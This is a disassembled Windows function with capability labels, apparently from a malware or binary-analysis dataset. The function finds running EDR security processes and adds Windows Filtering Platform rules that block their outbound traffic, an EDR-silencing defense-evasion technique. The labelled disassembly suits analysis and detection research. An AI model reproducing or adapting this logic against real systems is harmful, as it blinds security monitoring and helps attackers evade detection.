Function at 0x140001613
Capabilities:
Enumerate processes
Register network filter via wfp api

Disassembly:
push rbp
push rdi
sub rsp, 0x6f8
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x648]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0xffffffff
mov ecx, 0
call sym.FwpmEngineOpen0
mov dword [rbp + 0x66c], 0
call sym.EnableSeDebugPrivilege
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0xffffffffffffffff
jne 0x140001696
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____CreateToolhelp32Snapshot__of_processes__failed_with_error_code:_0x_x_n
call sym.printf
jmp 0x140001a00
mov dword [rbp + 0x510], 0x130
lea rdx, [rbp + 0x510]
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sym.Process32First
test eax, eax
jne 0x1400016e9
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____Process32First_failed_with_error_code:_0x_x_n
call sym.printf
mov rax, qword [rbp + 0x660]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001a00
lea rax, [rbp + 0x510]
add rax, 0x2c
mov rcx, rax
call sym.isInEdrProcessList
test eax, eax
je 0x1400019aa
mov dword [rbp + 0x66c], 1
mov edx, dword [rbp + 0x518]
lea rax, [rbp + 0x510]
add rax, 0x2c
mov r8d, edx
mov rdx, rax
lea rcx, str.Detected_running_EDR_process:__s___d_:_n
call sym.printf
mov eax, dword [rbp + 0x518]
mov r8d, eax
mov edx, 0
mov ecx, 0x1000
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x658], rax
cmp qword [rbp + 0x658], 0
je 0x140001982
mov dword [rbp + 0x2cc], 0x104
lea rcx, [rbp + 0x2cc]
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x658]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
call rax
lea rdx, [rbp - 0x20]
mov eax, 0
mov ecx, 0x19
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x2c0]
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.FwpmGetAppIdFromFileName0
test eax, eax
je 0x1400017ea
lea rcx, str.________FwpmGetAppIdFromFileName0_failed_to_get_app_ID._n
call sym.printf
mov rax, qword [rbp + 0x658]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400019aa
mov rax, qword [str.Custom_Outbound_Filter]
mov qword [rbp - 0x10], rax
mov dword [rbp], 1
mov dword [rbp + 0x20], 0xc38d57d1
mov word [rbp + 0x24], 0x5a7
mov word [rbp + 0x26], 0x4c33
movabs rax, 0x820ee6eebc7f4f90
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x60], 0x1001
mov dword [rbp - 0x50], 0xd78e1e87
mov word [rbp - 0x4c], 0x8644
mov word [rbp - 0x4a], 0x4ea5
movabs rax, 0x71c9efec09d83794
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x40], 0
mov dword [rbp - 0x38], 0xc
mov rax, qword [rbp + 0x2c0]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x50], 1
mov rax, qword [rbp + 0x648]
lea rcx, [rbp + 0x2b8]
lea rdx, [rbp - 0x20]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call sym.FwpmFilterAdd0
mov dword [rbp + 0x654], eax
cmp dword [rbp + 0x654], 0
jne 0x1400018c1
mov rdx, qword [rbp + 0x2b8]
lea rax, [rbp + 0xb0]
mov r8, rdx
mov rdx, rax
lea rcx, str.____Added_WFP_filter_for___S___Filter_id:__d__IPv4_layer_._n
call sym.printf
jmp 0x1400018d5
mov eax, dword [rbp + 0x654]
mov edx, eax
lea rcx, str.________Failed_to_add_filter_in_IPv4_layer_with_error_code:_0x_x_n
call sym.printf
mov dword [rbp + 0x20], 0x4a72393b
mov word [rbp + 0x24], 0x319f
mov word [rbp + 0x26], 0x44bc
movabs rax, 0xb4b6b3dc54bac384
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x648]
lea rcx, [rbp + 0x2b8]
lea rdx, [rbp - 0x20]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call sym.FwpmFilterAdd0
mov dword [rbp + 0x654], eax
cmp dword [rbp + 0x654], 0
jne 0x14000194a
mov rdx, qword [rbp + 0x2b8]
lea rax, [rbp + 0xb0]
mov r8, rdx
mov rdx, rax
lea rcx, str.____Added_WFP_filter_for___S___Filter_id:__d__IPv6_layer_._n
call sym.printf
jmp 0x14000195e
mov eax, dword [rbp + 0x654]
mov edx, eax
lea rcx, str.________Failed_to_add_filter_in_IPv6_layer_with_error_code:_0x_x_n
call sym.printf
lea rax, [rbp + 0x2c0]
mov rcx, rax
call sym.FwpmFreeMemory0
mov rax, qword [rbp + 0x658]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400019aa
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, [rbp + 0x510]
add rax, 0x2c
mov r8d, edx
mov rdx, rax
lea rcx, str.________Could_not_open_process___s__with_error_code:_0x_x_n
call sym.printf
lea rdx, [rbp + 0x510]
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x1400016e9
cmp dword [rbp + 0x66c], 0
jne 0x1400019dd
lea rcx, str.____No_EDR_process_was_detected._Please_double_check_the_edrProcess_list_or_add_the_filter_manually_using_block_command._n
call sym.printf
mov rax, qword [rbp + 0x660]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sym.FwpmEngineClose0
nop
add rsp, 0x6f8
pop rdi
pop rbp
ret